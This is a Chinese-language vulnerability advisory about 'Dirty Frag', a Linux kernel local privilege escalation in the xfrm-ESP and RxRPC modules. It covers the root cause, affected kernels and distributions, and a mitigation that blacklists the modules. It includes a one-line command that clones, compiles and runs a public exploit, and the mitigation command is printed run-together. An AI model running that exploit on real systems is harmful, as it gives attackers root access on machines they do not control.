【漏洞预警】核弹级Linux 内核 Dirty Frag 权限提升漏洞已复现含Poc

2026-10-11 17:15:39

免责声明：本公众号 太乙Sec实验室 所提供的实验环境均是本地搭建，仅限于网络安全研究与学习。旨在为安全爱好者提供技术交流。任何个人或组织因传播、利用本公众号所提供的信息而进行的操作，所导致的直接或间接后果及损失，均由使用者本人负责。太乙Sec实验室及作者对此不承担任何责任

漏洞预警

Dirty Frag漏洞与Dirty Pipe（脏管道）、Copy Fail漏洞同属Linux内核page cache相关逻辑缺陷漏洞家族，均归属于基于page fragment复用与生命周期管理异常的权限提升漏洞范畴。该漏洞为典型的确定性逻辑漏洞，不存在时间竞争窗口依赖，无需利用竞态条件即可稳定触发；漏洞利用失败时不会导致内核崩溃，具备极高的本地提权成功率，可在目标环境中实现稳定可靠的权限逃逸。

一、漏洞基础信息

漏洞概述
漏洞名称	Linux 内核 Dirty Frag 权限提升漏洞
漏洞编号	暂无CVE
公开时间	2026-05-07	POC状态	已公开
漏洞类型	权限提升	EXP状态	已公开
利用可能性	高	技术细节状态	已公开
CVSS 3.1	7.8	在野利用状态	未发现

原理：该漏洞根源在于Linux内核网络栈中，对page fragment的复用机制及生命周期管理存在逻辑缺陷，导致file-backed page cache与skb fragment非法共享物理内存页；在页面对应flag标记及引用计数处于异常状态的情况下，攻击者可绕过权限校验，将用户态数据写入只读内存页，进而实现本地权限提升。

二、影响范围

内核模块受影响范围

漏洞模块	起始受影响内核 Commit	时间	影响周期	影响范围
xfrm-ESP	cac2661c53f3	2017-01-17	约 9 年	从该 Commit 起至 Linux 最新主线内核
RxRPC	2dc334f1a63a	2023-06	约 2 年 +	从该 Commit 起至 Linux 最新主线内核

已验证可稳定提权的发行版及内核

Linux 发行版	内核版本	是否可稳定本地提权
Ubuntu 24.04.4	6.17.0-23-generic	是
RHEL 10.1 / CentOS Stream 10 / AlmaLinux 10	6.12 系列	是
Fedora 44	6.19.14-300.fc44	是
openSUSE Tumbleweed	7.0.2-1-default	是

三、POC验证

本次验证环境采用最新版 Kali Linux 系统

风险提示：禁止在线上环境进行验证

git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp

临时修复方式：

sudosh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf"sudo rmmod esp4 esp6 rxrpc 2>/dev/null ||true